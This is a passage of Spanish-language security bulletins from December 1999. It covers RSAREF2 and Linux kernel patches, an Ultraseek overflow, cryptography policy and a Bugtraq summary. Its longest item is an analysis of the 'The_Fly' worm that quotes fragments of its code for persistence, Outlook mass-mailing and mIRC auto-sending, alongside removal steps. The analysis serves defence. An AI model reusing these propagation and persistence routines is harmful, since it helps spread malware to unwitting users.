EE.UU.) se puede o bien parchear la librería RSAREF2 o bien actualizar
el cliente SSH a la versión 1.2.28.

En este mensaje se incluye el parche para RSAREF2. Aunque la licencia
RSAREF2 prohibe cualquier modificación en el código salvo para realizar
adaptaciones a otras arquitecturas o para mejorar su velocidad, RSA ha
autorizado por escrito la aplicación de parches de seguridad, a partir
de la publicación de este problema.

Parche:



--------------------------------------- rsaref2.patch
*** rsa.original.c Fri Mar 26 14:01:48 1994
--- rsa.c Fri Dec 10 12:56:34 1999
***************
*** 33,38 ****
--- 33,41 ----
unsigned char byte, pkcsBlock[MAX_RSA_MODULUS_LEN];
unsigned int i, modulusLen;

+ if (publicKey->bits > MAX_RSA_MODULUS_BITS)
+ return (RE_LEN);
+
modulusLen = (publicKey->bits + 7) / 8;
if (inputLen + 11 > modulusLen)
return (RE_LEN);
***************
*** 78,83 ****
--- 81,89 ----
unsigned char pkcsBlock[MAX_RSA_MODULUS_LEN];
unsigned int i, modulusLen, pkcsBlockLen;

+ if (publicKey->bits > MAX_RSA_MODULUS_BITS)
+ return (RE_LEN);
+
modulusLen = (publicKey->bits + 7) / 8;
if (inputLen > modulusLen)
return (RE_LEN);
***************
*** 128,133 ****
--- 134,142 ----
int status;
unsigned char pkcsBlock[MAX_RSA_MODULUS_LEN];
unsigned int i, modulusLen;
+
+ if (privateKey->bits > MAX_RSA_MODULUS_BITS)
+ return (RE_LEN);

modulusLen = (privateKey->bits + 7) / 8;
if (inputLen + 11 > modulusLen)
***************
*** 168,173 ****
--- 177,185 ----
unsigned char pkcsBlock[MAX_RSA_MODULUS_LEN];
unsigned int i, modulusLen, pkcsBlockLen;

+ if (privateKey->bits > MAX_RSA_MODULUS_BITS)
+ return (RE_LEN);
+
modulusLen = (privateKey->bits + 7) / 8;
if (inputLen > modulusLen)
return (RE_LEN);


Más información:
CORE SDI: Buffer Overflow in RSAREF2
CERT Advisory CA-99-15 Buffer Overflows in SSH Daemon and RSAREF2 Library
CIAC: Buffer Overflow Vulnerabilities in SSH Daemon and RSAREF2
Exploit (cliente SSH1.2.27 modificado)
Parches:
ftp://ftp.core-sdi.com/pub/patches/rsaref2.patch
http://www.cert.org/advisories/CA-99-15/rsa-patch.txt



Jesús Cea Avión
jcea@hispasec.com



miércoles, 22 de diciembre de 1999

Ataque DoS a los kernel Linux 2.0.x

Los kernel 2.0.x (recordemos que la versión actual es 2.2.x) son
susceptibles de un ataque DoS (Denial of Service - denegación de
servicio) cuando se envían paquetes IP de gran tamaño y estos incluyen
opciones IP.
El problema es debido a que el kernel comprueba que el tamaño de los
datos más la cabecera IP no supera los 65535 bytes, pero no comprueba
que ese tamaño *más* el tamaño de las opciones IP no supere tampoco
dicho valor. Un paquete IP, normalmente, no incluye opciones IP, pero
un atacante malicioso sí puede hacerlo.

Los kernel 2.0.x imprimen varios mensajes de error y acaban realizando
un reinicio de la máquina o "reboot". Los nuevos kernels 2.2.x imprimen
errores "message too long" en la consola, como aviso, y no se ven
afectados por el ataque. El ataque tampoco parece afectar a Windows ni
a Solaris.

Gracias al hecho de que Linux es un producto con código abierto y
cualquiera puede estudiar su funcionamiento y corregir cualquier
problema, uno de los desarrolladores del Kernel publicó un parche
oficial a las pocas horas de hacerse público el ataque. El parche debe
aplicarse a la versión 2.0.38, que es la última versión de la serie
2.0.x:



diff -urN 2.0.38/net/ipv4/ip_output.c 2.0.38-ping-R/net/ipv4/ip_output.c
--- 2.0.38/net/ipv4/ip_output.c Thu Jun 18 23:48:22 1998
+++ 2.0.38-ping-R/net/ipv4/ip_output.c Tue Dec 14 23:02:43 1999
@@ -703,7 +703,13 @@

if (!sk->ip_hdrincl) {
length += sizeof(struct iphdr);
- if(opt) length += opt->optlen;
+ if(opt)
+ {
+ /* make sure to not exceed the max packet size */
+ if (0xffff-length < opt->optlen)
+ return -EMSGSIZE;
+ length += opt->optlen;
+ }
}

if(length <= dev->mtu && !MULTICAST(daddr) && daddr!=0xFFFFFFFF && daddr!=dev->pa_brdaddr)

<

En principio parece poco probable que se publique una versión 2.0.39
del kernel para incluir este parche, ya que la versión actual del
kernel es la 2.2.x, y la serie 2.3.x está alcanzando ya el estado de
"code freeze", lo que significa que 2.4.x aparecerá dentro de muy
poco.

Por lo tanto, todos los usuarios de viejos kernel 2.0.x deberían
actualizar a 2.0.38 (si se empeñan en seguir usando kernel 2.0.x) y
aplicar éste y otros parches similares ellos mismos, sin esperar a que
se distribuya una hipotética y poco probable 2.0.39. De todas formas la
lista de correo de desarrollo del kernel linux todavía está discutiendo
el tema.

Más información:
ftp://ftp.us.kernel.org/[..]/patches/v2.0/2.0.38/ip-opt-1.gz



Jesús Cea Avión
jcea@hispasec.com



martes, 21 de diciembre de 1999

"The_Fly", el análisis

Como ya adelantamos en el anterior boletín, donde introducíamos
a "The_Fly", os presentamos un análisis de este gusano a partir
de su código. Durante este recorrido podremos observar con
detalle como trabaja el gusano y descubrir ciertos aspectos,
como su payload, que han pasado desapercibidos en los análisis
de las casas antivirus que hasta el momento se han hecho eco
de él.
Una aparente broma electrónica
------------------------------

Recordemos que este gusano se nos presenta bajo el formato de un
fichero de ayuda compilado de Windows con el nombre de "The_Fly.chm".
Al intentar abrirlo provoca la aparición de la ventana de aviso de
Internet Explorer alertando del peligro potencial de su contenido:

---
Internet Explorer
Algunos elementos de software (controles ActiveX) en
esta página podrían no ser seguros. No se recomienda
ejecutarlos. ¿Desea permitir que se ejecuten?

SI / NO
---

En el caso de que optemos, acertadamente, por la opción "NO",
el gusano no podrá llevar a cabo su acción, e intentará engañar
al usuario, pidiendo que abra de nuevo el fichero y permita su
ejecución, a través del siguiente texto:

--
"The picture couln´t be shown. ActiveX wasn´t allowed, please
reload and select to use it."
--
("La imagen no pudo ser mostrada. ActiveX no fue permitido,
por favor, recarga y selecciónalo para utilizarlo.")

Si por el contrario hemos permitido la ejecución, el gusano
nos muestra "the_fly.jpg", un simpático gráfico, a modo de
broma, donde se puede apreciar parte de una dentadura con
uno de los dientes perforado con la silueta de una mosca,
justo debajo finaliza el chiste con el siguiente texto:

---
"If you ride a motorcycle, close your mouth. :)"
---
("Si conduces una moto, cierra la boca")



En este punto el usuario puede creer que se trata, simplemente,
de un chiste gráfico, sin embargo la realidad es bien distinta,
"The_Fly" habrá comenzado su acción de autoenvío e instalación
en el sistema. A partir de ahora nos introduciremos de lleno en
su código para averiguar las verdaderas intenciones de
"The_Fly".

"The_Fly" se instala en el sistema
----------------------------------

(Nota: durante todo el análisis presuponemos, por ser lo
más usual y descriptivo, que el directorio de Windows y de
sistema son los que se utilizan en la instalación por
defecto, "c:\windows" y "c:\windows\system", si bien este
aspecto puede cambiar en algunos equipos si se ha modificado
el parámetro 7del directorio durante la instalación.)

[Código(1)]---
Bible = new ActiveXObject("Scripting.FileSystemObject");
[...]
Bible.CopyFile(document.location.pathname.replace("/@MSITStore:","")
.replace("::/the_fly.htm","")
,Bible.BuildPath(Bible.GetSpecialFolder(0),"THE_FLY.CHM"));
Bible.CopyFile(document.location.pathname.replace("/@MSITStore:","")
.replace("::/the_fly.htm","")
,Bible.BuildPath(Bible.GetSpecialFolder(1),"DXGFXB3D.DLL"));
Jesus = Bible.CreateTextFile(Bible.BuildPath(Bible.GetSpecialFolder(1)
,"MSJSVM.JS"),true);
---[/Código(1)]

Aquí podemos comprobar como, además de utilizar nombres de
variables con referencias religiosas, el autor utiliza el
objeto "FileSystemObject" para acceder al sistema de ficheros,
pudiendo utilizar a partir de entonces sus métodos para llevar
a cabo acciones como crear, abrir o escribir en archivos.

Unas líneas más abajo hace uso de estos métodos, observamos
como se copia a sí mismo en el directorio "C:\windows" como
"THE_FLY.CHM" y en "C:\windows\system" con el nombre de
"DXGFXB3D.DLL", simulando una librería, aunque en realidad
sigue siendo el mismo archivo en formato CHM.

Por último, observamos como crea un archivo con el nombre
de "MSJSVM.JS" en "C:\windows\system" donde escribe
numerosas líneas de código para terminar cerrándolo, como
podemos ver en [Código(2)]:

[Código(2)]---
Jesus.WriteLine("Prayer = new ActiveXObject(\"Scripting.
FileSystemObject\");")
Jesus.WriteLine("if Prayer.FileExists(Prayer.BuildPath
(Prayer.GetSpecialFolder(0),\"THE_FLY.CHM\")) == true) {")
Jesus.WriteLine("God();")Jesus.WriteLine("}")
[...]
Jesus.Close();
---[/Código(2)]

[Código(3)]---
Islam = new ActiveXObject("WScript.Shell");
Islam.RegWrite("HKEY_LOCAL_MACHINE\\Software\\Microsoft\\
Windows\\CurrentVersion\\Run\\JavaScript VM",Bible.BuildPath
(Bible.GetSpecialFolder(1),"MSJSVM.JS"));<
---[/Código(3)]

Una vez se ha copiado a sí mismo en dos ocasiones con
diferentes nombres y ha creado un tercer archivo con parte
de su código, observamos [Código(3)] como el gusano
utiliza un método de Windows Scripting Host, lenguaje
propietario de Microsoft, para escribir en el registro de
Windows y crear la siguiente entrada:

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
Nombre: JavaScript VM
Datos: "C:\WINDOWS\SYSTEM\MSJSVM.JS"

De esta forma "The_Fly" se asegura que en cada inicio de
Windows se ejecute el código que ha introducido en el
archivo "MSJSVM.JS" y que más tarde analizaremos, de
momento sigamos con el estudio de "The_Fly.chm".

Al mas puro estilo "Melissa"
----------------------------

[Código(4)]---
Hinduism = new ActiveXObject("Outlook.Application");
[..]
Judaism = Hinduism.GetNameSpace("MAPI");
for (Vushnu = 1; Vushnu <= Judaism.AddressLists.Count; Vushnu++) {
[..]
Messiah.BCC = Messiah.BCC.concat("; ").concat(Nazareth.Address);}}
Messiah.Subject = "Funny thing";
Messiah.Body = "> If you ride a motorcycle, close your mouth. :)";
Messiah.Attachments.Add(Bible.BuildPath(Bible.GetSpecialFolder(0),
"THE_FLY.CHM"));
Messiah.DeleteAfterSubmit = true;Messiah.Send;
---[/Código(4)]

Este apartado nos recuerda al ya mítico Melissa, mediante Outlook
recorre todos los alias de su libreta de direcciones para
autoenviarse a cada uno de ellos en un mensaje con el asunto
"Funny thing" y el texto "> If you ride a motorcycle, close your
mouth. :)" en el cuerpo. Para adjuntarse utiliza el archivo
"THE_FLY.CHM" que copió en la carpeta "C:\windows".

Destaca el uso del campo BCC (Blind Carbon Copy), utilizado
para enviar un mensaje a múltiples direcciones, con la
particularidad, a diferencia del campo CC, que las direcciones
de correo del campo BCC no son incluidas en las copias de los
mensajes enviados, con lo que el destinatario no detecta que
el mensaje que le ha llegado forma parte de un envío múltiple.

Hasta aquí llega nuestro recorrido por el código de "The_Fly.chm",
pero no debemos olvidar que el gusano dejó parte de su código en
el fichero "MSJSVM.JS" en la carpeta "C:\windows\system" y
modificó el registro de Windows para que se ejecutará cada vez
que se iniciara el sistema, al estilo "backdoor". Veamos
a continuación que función cumple este fichero.

I-Worm vía IRC
--------------

[Código(5)]---
Prayer = new ActiveXObject("Scripting.FileSystemObject");
if (Prayer.FileExists(Prayer.BuildPath(Prayer.GetSpecialFolder(0),
"THE_FLY.CHM")) == true) {
God();
}
else {
if (Prayer.FileExists(Prayer.BuildPath(Prayer.GetSpecialFolder(1),
"DXGFXB3D.DLL")) == true) {
Prayer.CopyFile(Prayer.BuildPath(Prayer.GetSpecialFolder(1),
"DXGFXB3D.DLL"),Prayer.BuildPath(Prayer.GetSpecialFolder(0),"THE_FLY.CHM"));
---[/Código(5)]

Nada más comenzar con el análisis de "MSJSVM.JS" descubrimos
porqué el gusano realizaba dos copias de sí mismo, en el caso
de que no exista la copia "C:\windows\THE_FLY.CHM" la crea a
partir de la otra copia, la que archivó en
"C:\windows\system\DXGFXB3D.DLL". Con esta operación parece que
el autor intenta hacer inútil el que alguien, en un intento de
borrar el gusano, eliminara el fichero "C:\windows\THE_FLY.CHM".
A continuación busca en el sistema las carpetas donde se instalan
los clientes de IRC mIRC y PIRCH98 para crear nuevos ficheros INI.


[Código(6)]---
if (Prayer.FileExists(Prayer.BuildPath(Jude,"MIRC32.EXE")) == true) {
Exodus = Prayer.CreateTextFile(Prayer.BuildPath(Jude,"SCRIPT.INI"),true);
Exodus.WriteLine("[script]");
Exodus.WriteLine("n0=on 1:join:#:if $me != $nick dcc send $nick"
.concat(Prayer.BuildPath(Prayer.GetSpecialFolder(0),"THE_FLY.CHM")));
Jesus.WriteLine("Exodus.Close();
---[/Código(6)]

En el caso de mIRC crea el fichero "SCRIPT.INI", borrando el
que tuviera, y añade las líneas para que el cliente de IRC
envíe de forma automática el archivo "THE_FLY.CHM" a todas las
personas que entren en el mismo canal de charla donde el usuario
infectado se encuentre. Con el cliente PIRCH98 realiza la misma
operación, creando un nuevo archivo "EVENTS.INI" para producir
el mismo efecto, convirtiéndose así en un i-worm para IRC.

El payload y los "despistes" de los antivirus
---------------------------------------------

Entre el código que crea el archivo "SCRIPT.INI" y "EVENTS.INI"
se encuentra la línea que dispara el payload del gusano y que al
parecer, según los análisis disponibles, ha pasado desapercibida
tanto para Trend Micro como para Panda Software. La tercera
compañía antivirus que se ha hecho eco de este gusano es Network
Associates, que extrañamente aun no ha facilitado su análisis
pese a que está anunciado en su lista de alertas desde el día
20 de este mes.

El payload se dispara cuando el fichero "MSJSVM.JS" se ejecuta
en el minuto 30 de cualquier hora del día, recordemos que este
fichero es lanzado de forma automática cada vez que iniciamos
el sistema. Afortunadamente el payload consiste simplemente en
mostrar una ventana, donde el autor bautiza al gusano como
"CommonSense" y parece que quiere mostrar su opinión en cuanto
a cuestiones religiosas se refiere mediante unas líneas de código.

---

Windows Scripting Host

/MIRC/OUTLOOK/PIRCH.CommonSense by Zulu
if (CommonSense == true) {
God = false;
Religion = false;
}
else {
God = true;
Religion = true;
}

ACEPTAR
---



Por último, hay otro detalle que también ha pasado desapercibido a las
casas antivirus, y no es otro que la existencia de dos versiones de
este gusano, cuya única diferencia es interna y tiene que ver con la
codificación del código JavaScript en la versión 1.1. Para
diferenciar la versión a simple vista podemos fijarnos en el tamaño
de los ficheros "THE_FLY.CHM" o "DXGFXB3D.DLL", si su tamaño es
22.074 bytes será la versión 1.0, y en el caso de que sea 24.874
bytes estaremos tratando con la 1.1.


Librándonos de "The_Fly" de forma manual
----------------------------------------

En caso de infección, es muy sencillo librarse de "The_Fly".
Bastará con borrar los ficheros "c:\windows\THE_FLY.CHM",
"c:\windows\system\DXGFXB3D.DLL" y "c:\windows\system\MSJSVM.JS".
Por último, a través de la aplicación REGEDIT.EXE, procederemos a
borrar la entrada que creó en el registro:

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
Nombre: JavaScript VM
Datos: "C:\WINDOWS\SYSTEM\MSJSVM.JS"

Por último, una vez más, recordamos a todos nuestros lectores
que no deben abrir o ejecutar ningún archivo no solicitado,
aun cuando el remitente sea una fuente conocida y de confianza.

Más información:
Panda Software
Trend Micro
The_Fly, un gusano que se propaga vía mIRC, Pirch y Outlook

Dedicatoria
-----------
No es habitual, de hecho es una norma, que en los boletines
"una-al-dia" se incluyan referencias personales fuera del propio
ámbito de la noticia. En esta excepción, que confirma la regla,
me gustaría, en nombre de todo el equipo de HispaSec, felicitarles
la Navidad a todos nuestros lectores y desearles lo mejor para
el año 2000.

Quiero extender estos deseos, de forma especial, a nuestro
compañero Antonio Ropero, quien se recupera en estos momentos
de una intervención quirúrgica tras un aparatoso accidente de
tráfico.




Bernardo Quintero
bernardo@hispasec.com



lunes, 20 de diciembre de 1999

The_Fly, un gusano que se propaga vía mIRC, Pirch y Outlook

Este nuevo gusano, escrito en JavaScript, se difunde a través
de Internet en un archivo bajo formato CHM (Compiled HTML Help
File) con el nombre "The_Fly.chm". Para propagarse utiliza el
Outlook, enviándose adjunto por correo electrónico a todos los
alias de la libreta de direcciones, así como los clientes de
IRC mIRC y Pirch, en los que modifica sus respectivos archivos
.INI para autoenviarse vía DCC a los usuarios que entran en
el canal de charla donde se encuentra el usuario infectado.
"The_Fly" nos llega de la mano de "Zulu", conocido autor de
virus de origen argentino, quien ya fuera protagonista
recientemente por la creación de VBS.Bubbleboy, considerado
el primer gusano que infecta a través de correo electrónico
de forma automática, sin necesidad de abrir o ejecutar el
archivo adjunto. Otras creaciones destacables de "Zulu"
son "Freelinks", capaz de difundirse también por medio de
Outlook, mIRC y PIRCH, o "Monopoly", que saltara a la fama
por propagarse mientras mostraba en el sistema infectado
una imagen con la cara de Bill Gates incrustada en un
tablero del conocido juego de mesa que presta su nombre
al espécimen.

En esta ocasión, la novedad reside en la forma en la que se
nos presenta el gusano bajo la extensión CHM, distintivo
del nuevo formato de ayuda de Microsoft, que básicamente
consiste en compilar en un único archivo todos los elementos
que forman parte de un conjunto de páginas web. Este formato
es reconocido por el navegador de Microsoft a partir de
Internet Explorer 4.01 y, como estándar, en Windows 98 y NT.

El gusano, que no cuenta con efecto destructivo alguno, ha
sido reportado con la calificación de bajo riesgo en los
sistemas de alerta de las compañías antivirus Trend Micro
y Network Associates, basándose en la escasa o nula
incidencia con la que este espécimen ha sido reportado por
el momento. No obstante, y teniendo en cuenta las
características de propagación del gusano, no se descarta
que en breve se puedan producir infecciones de mayor
envergadura.

Una vez más, recordamos a nuestros lectores la premisa de
no abrir o ejecutar ningún archivo no solicitado que nos
llegue a través de Internet, aun viniendo de fuentes
conocidas.

Las características técnicas, y la forma en la que el
virus se despliega, no presenta grandes novedades con
respecto a otras creaciones del mismo autor. En estos
momentos tan solo se encuentra disponible una primera
descripción de la compañía Trend Micro, que no hace
distinción entre las dos versiones existentes del
espécimen, cuya única diferencia reside en la
codificación del fuente JavaScript en la versión 1.1.
Por su parte, Network Associates, ha incluido a "The_Fly"
en su lista de alertas, si bien aun no ha proporcionado
datos ya que se encuentran en estos momentos en la fase
de análisis.

Para conocer mejor la forma en que trabaja "The_Fly" os
emplazamos al próximo boletin, dentro de unas horas,
donde vamos a conocer a "The_Fly" desde dentro, a
través de un recorrido por su código.

Más información:
Trend Micro
Network Associates
HispaSec - Gusano VBS.Monopoly
HispaSec - "BubbleBoy" siembra el pánico por e-mail



Bernardo Quintero
bernardo@hispasec.com



domingo, 19 de diciembre de 1999

Sarah Flannery y su criptosistema de clave pública

Hace casi exactamente un año, el pasado 13 de Enero de 1.999, se publicó
en diversos foros especializados que una adolescente irlandesa llamada
Sarah Flannery, de apenas 16 años, había descubierto un criptosistema de
clave pública mucho más eficiente en términos computacionales que el
popular y difundido RSA. ¿Qué ha ocurrido desde entonces?.
El algoritmo, que Sarah denomina Cayley-Purser en honor de un matemático
del siglo 19 y de un criptógrafo, se basa en operaciones matriciales, y
es un orden de magnitud (unas 10-20 veces) más rápido que el RSA
convencional. Como contrapartida, las claves y la memoria necesaria para
trabajar con ellas es ocho veces superior a la que se requiere para
operar con RSA. La noticia -no obstante- es importante, y tuvo eco
incluso en medios de comunicación tradicionales.

Los detalles del algoritmo, sin embargo, se han filtrado bastante
lentamente. De hecho en el momento de escribir este boletín todavía no
se dispone de una versión "online" oficial del documento original, sino
solo de versiones escaneadas de una versión en papel del texto original
(aunque Sarah ha afirmado ya que publicará el documento "online"
'pronto').

Aunque la viabilidad comercial de este criptosistema es dudosa, con la
amplia difusión del RSA y porque la patente que lo protege caducará muy
pronto, Sarah afirmó desde un primer momento que no pensaba obtener un
beneficio económico de su invención.

En cualquier caso cualquier criptosistema de nueva creación, y más si es
revolucionario, debe ser sometido al paso del tiempo y al ataque
incesante de la comunidad académica e investigadora. Sólo así podrá
demostrar su seguridad y fiabilidad (el RSA, por ejemplo, lleva 20 años
bajo intenso escrutinio). De hecho el tiempo ya ha pasado su primera y,
posiblemente definitiva, factura: cuando se publique el documento
original de Sarah, se incluirá un apéndice donde ella misma describe un
ataque, al parecer, insoslayable.

Más información:
Irish Teenager Invents Fast Crypto
Sarah Flannery on Cayley-Purser: An Investigation of a New Algorithm vs. the RSA
RSA weighs in on teen's 'breakthrough'
Teen Devises New Crypto Cipher
11th European Union Contest for Young Scientists Eureka!
Re-established in the heat of Thessaloniki



Jesús Cea Avión
jcea@hispasec.com



sábado, 18 de diciembre de 1999

Grave vulnerabilidad en Ultraseek para Windows NT

Ultraseek de Infoseek, el conocido software utilizado para la búsqueda
de documentos en servidores, está afectado por un buffer overflow que
permite a un atacante la ejecución de código arbitrario de forma remota.
Hasta el momento se han comprobado que son vulnerables las versiones
2.1 y 3.1 para Windows NT.
El ataque contra los servidores se puede llevar a cabo a través del
puerto 8765, donde Infoseek escucha vía peticiones HTTP las órdenes
de búsqueda. El código del programa que maneja los comandos GET
no chequea un buffer, lo que permite que pueda ser desbordado y
provocar la denegación del servicio. El problema se agrava al ser
posible explotar este buffer overflow para ejecutar código arbitrario
de forma remota, con lo que se puede realizar cualquier tipo de
acción en el servidor afectado.

Para comprobar la existencia de Infoseek en un servidor podemos
realizar lo siguiente:

C:\>telnet www.servidor.com 8765
enviar-> HEAD / HTTP/1.0

recibe-> HTTP/1.0 200 OK
recibe-> Server: Ultraseek/3.1 Python/1.5.1
recibe-> Date: Thu, XX Dec 1999 23:59:42 GMT
recibe-> Content-type: text/html
recibe-> Content-length: 0

El ataque consiste en enviar, a través de este mismo puerto, un
comando GET con una cadena excesivamente larga. La acción puede
pasar, en principio, desapercibida de cara al servidor, ya que
no muestra ningún mensaje de error en pantalla. Lo que habrá
sucedido, de forma interna, es que uno de los dos servicios
"dpyseekd.exe" de Ultraseek se habrá reiniciado, lo que podemos
detectar al comprobar como su PID ha cambiado.

Además de esta característica, que lo convierte en un ataque
difícil de detectar a primera vista, debemos de sumar que no
queda registrada en el servidor la IP del atacante que ha
provocado el buffer overflow, lo que dificulta su seguimiento.

Se recomienda a todos los sistemas afectados que instalen,
de forma inmediata, el parche puesto a disposición por Infoseek
para subsanar este problema:

http://software.infoseek.com/products/ultraseek/upgrade_nt.htm
ftp://ftp.infoseek.com/pub/software/ultraseek-3.1.5.exe

Mas información:
USSR & eEye Present Infoseek Ultraseek Remote Buffer Overflow



Antonio Román
antonio_roman@hispasec.com



viernes, 17 de diciembre de 1999

El Derecho a Cifrar

Fronteras Electrónicas critica diversas declaraciones oficiales
en relación al uso de la criptografía.
Hace unos días el Senado español presentó desde su web las
conclusiones a las que ha llegado la Comisión de Redes
Informáticas. El texto incluía una "declaración de los derechos
del Internauta" que FrEE subscribiría en buena parte, aunque
nos habría gustado más definición en algunos de los puntos.

De todas formas, lo que más nos sorprendió del texto es la
ausencia absoluta de referencias a la cuestión de la
criptografía. Aunque Fronteras Electrónicas entregó en su
momento a la Comisión un dossier explicativo en relación a la
importancia de la criptografía segura para diversos
ciberderechos, y aunque nos consta que otros invitados por la
Comisión también hablaron largo y tendido sobre el tema, la
criptografía no parece tener ninguna función en Internet,
vista su nula presencia en la conclusiones.

Y esta ausencia aún es más relevante si se tiene en cuenta que
en el texto se habla repetidas de veces de garantizar la
seguridad y la privacidad en los medios electrónicos, y es
sabido que la criptografía es la única forma sencilla de
garantizar completamente nuestra seguridad y nuestra
privacidad. Las máquinas se pueden hackear, los teléfonos se
pueden pinchar, los funcionarios pueden ser sobornados, pero
la matemática siempre será la misma. Un magnate de los
ordenadores puede poner cientos de millones sobre la mesa, o
un dictador amenazar de muerte a toda una población, pero no
podrán evitar nunca que dos más dos sigan siendo cuatro.

La criptografía permite por primera vez en la historia la
paridad entre los grandes poderes y el ciudadano de a pie.
Sin ella, estaríamos indefensos ante cualquier decisión
unilateral de gobiernos, corporaciones o criminales de
asaltar nuestra vida privada o estafarnos con nuestros
ahorros. Internet es un medio en el que espiar es tan fácil
y tentador que las buenas palabras solas no bastan. No
tiene sentido defender la inviolabilidad del correo
electrónico si no se ofrece ningún medio para realmente
hacerlo inviolable. Recuerda demasiado a aquella frase que
se decía durante la Transición de que "En España hay libertad
de prensa. Cada uno puede comprar el periódico que quiera".

Finalmente, el silencio del Senado resulta mucho más
preocupante cuando otros representantes del gobierno y las
instituciones hablan de la criptografía como un peligro,
como un freno a la persecución de delincuentes. La triste
verdad es que una ley que prohibiera la criptografía fuerte
-como se pide desde instancias militares y policiales- no
solucionaría nada. Al delincuente profesional no le preocupa
cometer delitos menores, como podría ser un eventual uso de
criptografía ilegal, cuando ha decidido atentar contra la
vida, la integridad física, la salud pública, el patrimonio
o la seguridad nacional. Por otro lado, no parece que el uso
de la criptografía frene realmente la detención de los
delincuentes, y si lo hiciera, lo hace en un grado mínimo.
En ese sentido se han pronunciado diversas comisiones
oficiales de la Unión Europea, sin ir más lejos. Ciertamente,
siempre se puede endurecer más un sistema para poder capturar
más delincuentes, pero nunca a costa de comprometer la
intimidad de todos. Cuando se trata de decidir entre libertad
y seguridad, está claro que la primera ha de prevalecer.

En conclusión, FrEE quiere insistir en que utilizar la
criptografía no es un delito, sino todo lo contrario, un
derecho básico sin el que hablar de privacidad o seguridad en
la Red no tiene sentido. Medios diferentes exigen sistemas
éticos diferentes. En el mundo actual uno puede moverse con
relativa tranquilidad sabiendo que su intimidad y anonimato
están relativamente seguros. La Red es exactamente lo opuesto.
El más pequeño movimiento en el mundo virtual deja huellas
electrónicas que cualquiera puede seguir. La criptografía es
la única forma sencilla, segura y al alcance de todo el mundo
que nos garantiza seguridad y privacidad en la Red. Por eso es
tan importante. Por eso es nuestro derecho.

Más información:
Froteras Electrónicas




Jesús Cea Avión
jcea@hispasec.com



jueves, 16 de diciembre de 1999

Key Escrow: la trilogía

Si hace apenas unos días alertábamos a nuestros lectores sobre la
existencia de una colección de documentos en castellano sobre "key
escrow" (depósito de claves), su autor nos ha informado hace unas horas
de que ha publicado, por fin, el último de los informes que completan la
trilogía de su trabajo de investigación sobre el tema.
En este documento, Arturo Quirantes se centra en la situación del
depósito de claves en España, desde una perspectiva legal, ya que
nuestra historia en el ámbito criptográfico es más bien escasa.

En el documento se explica con detalle como España ha pasado, en un par
de años, de prácticamente ignorar la criptografía a nivel jurídico, a
desarrollar toda una legislación sobre el tema, como pone de manifiesto
claramente, por ejemplo, el eco de los medios de comunicación respecto a
la nueva legislación sobre firma electrónica o digital.

La historia empieza en 1.998, con el polémico "artículo 52" de la ley
general de telecomunicaciones. En uno de sus párrafos, la vaguedad de
los términos empleados plantea la posibilidad de que el gobierno pudiese
legislar a favor del depósito de claves.

En 1.999 aparecen muchas novedades, como el poder efectuar el IRPF a
través de internet merced a un certificado digital, la normativa sobre
certificados digitales, servicios de certificación estatales y, por
último, la reciente ley de firma electrónica.

¿Las consecuencias de todo ello?. No quiero arrebatar al lector el
disfrute de la lectura del informe original y sus referencias...

Más información:
La alternativa "key escrow" I: debate abierto
La alternativa "key escrow" II: posturas nacionales
La alternativa "key escrow" III: España es así
Pague sus impuestos ... digitalmente



Jesús Cea Avión
jcea@hispasec.com



miércoles, 15 de diciembre de 1999

Resumen de Bugtraq del 06-12-1999 al 13-12-1999

Esta semana, además del resumen de todas las vulnerabilidades,
se incluye un apartado con los parches para la actualización
de los sistemas afectados.
1. Vulnerabilidades de buffer overflow en SCO Unixware
pkginstall/pkgcat
2. Vulnerabilidad en regeneración de base de datos de
aliases de Sendmail
3. Vulnerabilidad de buffer overflow en Solaris snoop
(print_domain_name)
4. Vulnerabilidad de URL vns.ms.radio en MS IE5
5. Vulnerabilidad de DoS en GoodTech Telnet Server NT
6. Vulnerabilidad de buffer overflow en Xshipwars
7. Vulnerabilidad de buffer overflow en Solaris snoop (GETQUOTA)
8. Vulnerabilidad de buffer overflow en Netscape Enterprise
Server para Netware Admin
9. Vulnerabilidad de buffer overflow en Solaris sadmind
10. Vulnerabilidad en ejecución de comando remoto de htdig
11. Vulnerabilidad de troyano de Microsoft Help File
12. Vulnerabilidad de debugeo de programa privilegiado en
SCO Unixware

Actualización de parches del 06-12-1999 al 13-12-1999
-----------------------------------------------------
1. Vulnerabilidad parcheada: buffer oveflow en Solaris snoop
(GETQUOTA)
2. Vulnerabilidad parcheada: buffer overflow en Xshipwars
3. Vulnerabilidad parcheada: vulnerabilidad de ejecución de
Comando Remoto en htdig
4. Vulnerabilidad parcheada: DoS en Communigate Pro Web Admin
5. Vulnerabilidad parcheada: buffer overflow en mensaje Wu-ftpd

1. Vulnerabilidades de buffer overflow en SCO Unixware
pkginstall/pkgcat
BugTraq ID: 853
Remoto: No
Fecha de publicación: 06-12-1999
URL Relevante: http://www.securityfocus.com/bid/853
Resumen:

Es posible ver las entradas en /etc/shadow explotando un
buffer overflow en pkgcat y pkginstall. Aunque ninguna de
estas utilidades es setuid, Los permisos dacread que son
otorgados en /etc/security/tcb/privs le dan la posibilidad
de leer /etc/shadow. Cuando el buffer de datos sobredimensionado
es pasado a los programas como argv[1], el stack se corrompe
y es posible ejecutar un programa el cual podria
hacer un "cat" de /etc/shadow con los privilegios de dacread.

2. Vulnerabilidad en regeneracion de base de datos de
aliases de Sendmail
BugTraq ID: 857
Remoto: No
Fecha de publicación: 07-12-1999
URL Relevante: http://www.securityfocus.com/bid/857
Resumen:

Para regenerar la base de datos de aliases de Sendmail hay que
ejecutarlo localmente con los parámetros -bi. No se efectúa
ningún tipo de chequeos de los privilegios del usuario para
determinar si deberían realizar esta acción o no. En
consecuencia, es posible que un usuario malicioso intente
regenerar la base de datos de alias y luego interrumpa la
regeneración, lo que provocará que se corrompa la base.

3. Vulnerabilidad de buffer overflow en Solaris snoop
(print_domain_name)
BugTraq ID: 858
Remoto: Sí
Fecha de publicación: 07-12-1999
URL Relevante: http://www.securityfocus.com/bid/858
Resumen:

Si una maquina Solaris está corriendo snoop, puede ser posible
comprometer remotamente su seguridad a través de un buffer
overflow en dicho servicio. El problema esta en un buffer con una
longitud fija de 1024 que se puede desbordar a través de la
función print_domain_name. Los privilegios otorgados
al código arbitrario que se pudiera ejecutar son los del
usuario que ejecuta snoop, root.

4. Vulnerabilidad de URL vns.ms.radio en MS IE5
BugTraq ID: 861
Remoto: No
Fecha de publicación: 06-12-1999
